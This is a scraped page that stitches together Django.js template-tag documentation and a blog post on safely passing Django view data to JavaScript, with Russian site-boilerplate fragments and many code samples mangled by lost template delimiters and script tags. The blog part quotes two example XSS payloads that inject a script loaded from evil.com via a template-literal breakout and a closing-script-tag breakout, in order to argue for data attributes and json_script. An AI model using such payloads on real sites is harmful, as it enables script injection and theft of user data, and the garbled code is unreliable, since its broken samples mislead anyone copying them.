Django template and javascript

Template tags¶

If you want to use boolean parameters, Django.js provide the djangojs.context_processors.booleans to help. Simply add it to your settings.CONTEXT_PROCESSORS . If not, you should use the string versions: param=»True» .

If settings.DEBUG=True , unminified versions are loaded (only for provided libraries, aka. Django.js, jQuery and jQuery Migrate).

Usage¶

django_js¶

A tag is available to provide the Django JS module. After loading, you can use the Django module to resolve URLs and Translations:

 django_js %> console.log( Django.url('my-view', key: 'test'>), Django.file('test.json'), Django.context.STATIC_URL );  

It supports the following keyword parameters (in this order if you want to omit the keyword):

Parameter Default Description
jquery true Load the jQuery library
i18n true Load the javascript i18n catalog
csrf true Patch jQuery.ajax() for Django CSRF
init true Initialize Django.js on load

You can disable all this features by simply providing arguments to the template tag:

 django_js jquery=false i18n=false csrf=false %> 

django_js_init¶

The provide the necessary bootstrap for the Django.js without loading it. It allows you to use Django.js with an AMD loader or a javascript compressor. It supports the following keyword parameters (in this order if you want to omit the keyword):

Parameter Default Description
jquery false Load the jQuery library
i18n true Load the javascript i18n catalog
csrf true Patch jQuery.ajax() fot Django CSRF
init true Initialize Django.js on load

You can disable all this features by simply providing arguments to the template tag:

 django_js_init jquery=true i18n=false csrf=false %> 

If you want to use it with require.js or Django Pipeline, see RequireJS integration or Django Pipeline .

Internationalization¶

When the template tag is included in a page, it automatically:

  • loads the django javascript catalog for all supported apps
  • loads the django javascript i18n/l10n tools in the page:
    • gettext()
    • ngettext()
    • interpolate()

    You can disable this feature by setting the i18n keyword parameter to false .

    You can filter included apps by using either the settings whitelist settings.JS_I18N or the settings blacklist settings.JS_I18N_EXCLUDE or both. For more informations, see Settings.

    jQuery Ajax CSRF¶

    When the django_js template tag is ininitialized it automatically patch jQuery.ajax() to handle CSRF tokens on ajax request.

    You can disable this feature by setting the csrf keyword parameter to false .

    You can manually enable it later with:

    verbatim¶

    A tag is available to ease the JS templating. It escape a specific part. For example, you may want a subpart of your template to be rendered by Django :

    Starting from Django 1.5, use the included verbatim tag .

    jquery_js¶

    The tag only load the jQuery library.

    You can override the version either by passing the version as a parameter or setting the version with the settings.JQUERY_VERSION property. For more informations, see Settings.

    You can optionnaly load the jQuery Migrate plugins for legacy support with jQuery 1.9.0+.

     jquery_js %>  jquery_js "1.8.3" %>  jquery_js migrate=true %> 

    The django_js tag automatically load jQuery so no need to manually load it unless you set jquery=false .

    javascript/js¶

    The javascript and js tags are the same quick helper to include javascript files from > :

     javascript "js/my.js" %>  js "js/my.js" %> 
     type="text/javascript" src=" static "js/my.js" %>"> 

    Both tags take an options type parameter that specifies the content type of the tag:

     javascript "js/my.custom" type="text/custom" %> 
     type="text/custom" src=" static "js/my.custom" %>"> 

    coffescript/coffee¶

    The coffeescript and coffee tags are the same quick helper to include coffeescript files from > :

     coffeescript "js/my.coffee" %>  coffee "js/my.coffee" %> 
     type="text/coffeescript" src=" static "js/my.coffee" %>"> 

    css¶

    The css tag is a quick helper to include css files from > :

     rel="stylesheet" type="text/css" href=" static "css/my.css" %>" /> 

    js_lib¶

    The js_lib tag is a quick helper to include javascript files from >js/libs :

     type="text/javascript" src="STATIC_URL>>js/libs/my-lib.js"> 

    © Copyright 2012, Axel Haustant. Revision 65b267b04ffc0f969b9f8e2f8ce2f922397c8af1 .

    Источник

    How to Safely Pass Data to JavaScript in a Django Template

    You want to pass your data from your Django view to JavaScript, in your template. And, you want to do it securely, with no risk of accidentally allowing malicious code injection. Great, this is the post for you!

    And finally, some other options that I don’t recommend.

    Update (2022-10-21) The BugBytes Youtube channel has a video based on this post, demonstrating the two approved techniques.

    Templating JavaScript don’t work

    Many developers try templating inline &LTscript> tags directly:

         >"I recommend you never do this!

    This doesn’t generally work, since Django performs HTML-escaping on the value. For example, if username was «Adam &LT3» , the output would be:

        This would mean displaying the username incorrectly.

    Additionally, it’s super dangerous if you template non-string variables, or use JavaScript template literals (JavaScript’s f-strings that use backticks). For example, take this template:

         >`A malicious value can use a backtick to end the literal, and then add arbitrary JavaScript. For example, if username was:
    a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`
           This code defines greeting , then inserts a <script> into the DOM sourced from evil.com . That script could steal all user data. Panik. 

    Django’s template system only escapes HTML. It is not designed for escaping values inside of JavaScript, which has broader syntax.

    Whilst templating JavaScript works in limited situations, since it’s not generally safe, I recommend you never do it. It’s too hard to maintain a separation betwee variables that always contain safe characters, and those which don’t. Also, only certain tags and filters are safe. In time, you’ll eventually introduce security holes.

    Instead, use one of the two following techniques.

    Use data attributes for simple values

    To pass simple values to your JavaScript, it’s convenient to use data attributes:

    >"         document.currentScript provides quick access to the current <script> element. Its dataset property contains the passed attributes as strings.

    Separate script files

    You can use document.currentScript for separate script files too:

    I recommend that you use separate script files as much as possible. They’re better for performance as the browser can cache the code. Plus, you can set up a Content Security Policy (CSP) to disallow inline script tags, which prevents XSS attacks—see my security headers post.)

    Case conversion

    The dataset property converts kebab-case to camelCase. For example, if you had data-full-name :

     " >"…you’d read it in JavaScript as fullName :
          HTML kebabs become JavaScript camels.

    Non-string types

    dataset only contains strings, because all HTML attribute values are strings. If you are passing a number, date, or other simple type to your JavaScript, you’ll need to parse it. For example, imagine you were passing an integer:

     " >"…you’d want parseInt() to convert this value from a string:

    There’s no limit

    A &LTscript> can have as many data attributes as you like:

     " " " " " " …but at some point this might feel quite unwieldy. Also, it’s not convenient to pass complex types like dicts or lists in attributes. That leads us to door number two!

    Use json_script for complex values

    If you need to pass a dict or list to JavaScript, use Django’s json_script filter. For example, imagine your view passed this variable in the context:

    You could pass this variable to the json_script filter like so:

    Django would render a &LTscript type=»application/json»> tag containing the data:

     as the next element after document.currentScript using nextElementSibling , and parse the data with JSON.parse() :

    Django json_script is only supported on Django 4.1+. Before then, you need to give it an ID for the data &LTscript> , but you can pass «» , which browsers understand as “no ID”:

     .

    With an ID

    You can also pass an ID to json_script for the data &LTscript> . This can be useful if your JavaScript &LTscript> is not next to your data &LTscript> , or if one JavaScript file should use several data &LTscript> s. For example:

     elements, and JSON.parse() again to parse the contained data:
            This is the technique recommended in the json_script docs.

    Other unrecommended techniques

    Here are a couple of other options you have seen, that I do not recommend.

    Unsafe use of the safe filter

    You may have seen templated JavaScript that uses the safe filter:

         >" safe marks a variable as “safe for direct inclusion in HTML”, that is, it disables Django’s HTML escaping. This would allow username = "Adam <3" to be appear unaltered in the templated script:
        This opens the script up wide for attack though. Imagine the username was:
    </script><script src=evil.com/js></script>

    …then, the rendered HTML would be:

    Again, evil.com/js could steal all user data. Panik!!

    So, using safe like this is unsafe. It’s only safe to use it with already-escaped HTML, for example from a pre-rendered fragment.

    What about escapejs ?

    It is possible to template JavaScript with the escapejs filter:

        >"This has some subtleties though, as the docs currently say:

    (Reminder: template literals are JavaScript’s equivalent to f-strings.)

    However, there’s an open PR to improve the docs. It seems that escapejs was made safe in the past with a documentation update.

    Templating JavaScript is still not generally safe: you can’t use other tags or filters without risk.

    Data attributes work with both inline scripts and separate script files. You don’t need to refactor anything if you move from an inline script to a separate file.

    (And using separate script files is good for other reasons, as noted previously.)

    At current, the docs still say escapejs is unsafe. There hasn’t yet been approval from the Django security team or fellows.

    Fin

    May your data always pass swiftly and safely to your JavaScript,

    Learn how to make your tests run quickly in my book Speed Up Your Django Tests.

    One summary email a week, no spam, I pinky promise.

    Tags: django © 2022 All rights reserved. Code samples are public domain unless otherwise noted.

    Источник

    Читайте также:  Rest api or soap api in php
Оцените статью